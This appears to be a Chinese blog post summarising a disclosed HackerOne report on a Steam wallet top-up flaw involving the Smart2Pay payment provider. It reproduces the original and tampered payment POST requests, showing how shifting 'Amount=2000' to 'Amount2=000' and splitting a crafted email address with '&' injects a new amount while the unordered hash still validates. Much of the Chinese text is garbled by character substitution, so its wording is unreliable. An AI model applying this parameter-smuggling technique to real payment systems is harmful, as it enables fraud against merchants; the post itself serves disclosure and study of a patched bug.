乐趣区

关于漏洞:Steam-7500赏金的钱包充值漏洞细节

前几天刷到一个 Steam 领取破绽新闻,但形容的细节很毛糙,大略都是这样的:

近日,Hackerone(黑客街:出名寰球破绽众测平台,发现应用程序破绽提交后可取得赏金)上的一名黑客 drbrix 发现了 steam 的一个重大破绽,该破绽容许用户无限度的收费向 steam 钱包中增加资金,来看下详细情况
据悉,这个破绽与荷兰领取平台 Smart2Pay 无关,这个破绽容许 steam 用户收费的增加无限度的资金到 steam 钱包中,细节操作则是在用户通过特定电子邮件这一付款选项结账时,能拦挡交易并将 steam 钱包中的余额收缩至有数倍。侥幸的是目前除了这位黑客,还没人发现这个破绽,他被迫也将这个 bug 提交给了 V 社,V 社看到后立即修复了这个 BUG 并处分了这位黑客 7500 美元(约合人民币 48576 元)

形容的很令人好奇,为什么用特定邮箱就能实现绕过校验充值?邮箱跟充值又怎么扯上分割的?但手机上不不便搜寻,于是就放着了。

明天又想起这个来,顺手搜了一下,搜到了原文 Modify in-flight data to payment provider Smart2Pay

简略的复述一下 drbrix 的报告。

依据报告,破绽产生在 Steam 钱包充值 的流程中,失常进入领取页面,而后领取形式要抉择 Smart2Pay 的领取形式,(Smart2Pay 我在国区登录中没看到,搜了下,发现也是一种领取渠道,反对上百种领取形式)。

之后能看到申请信息

POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", "Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███

作者形容,因为签名有校验,所以不能随便的增删批改签名,hash 逻辑大略是这样的 hash(MerchantID1102MerchantTransactionID█████Amount2000.....)

接下来就是比拟骚的思路了,增删和批改数字无奈通过校验,然而调整签名的字符程序后仍然能通过校验。像是 Amount=2000 批改为 Amount2=000

但单纯这样没用,短少了 Amount 字段。此时就要想方法结构一个新的 Amount 字段,既不能减少也不能缩小,那么只能拿原有的字段值来调整,在用户手上惟一能批改的就是邮箱名称,所以作者在结尾说道这个办法不得不批改你的邮箱。作者将邮箱批改为 brixamount100abc@█████ 其中带上了关键字 amount100

而后拦挡并批改结构申请信息,

MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████

这里将原来的 Amount=2000 批改为 Amount2=000,而后邮箱中的关键字用 & 分隔进去成为新的参数值,CustomerEmail=brix&amount=100&ab=c%40

这样只须要领取 1 美元就实现原来订单中 20 美元的充值。

最初如新闻所说,V 社在评估后把破绽评定为重大,并且给了开掘者 7500 美元处分。

如果没有颁布报告,必定怎么也想不到,这样简略的操作就是绕过领取校验(开掘者自身须要有功底和教训,但这个破绽的操作上并不需要太浅近的技术,这样也晋升了这个破绽的严重性),而那段发送的数据就是新闻中经常提到的精心结构的数据。

退出移动版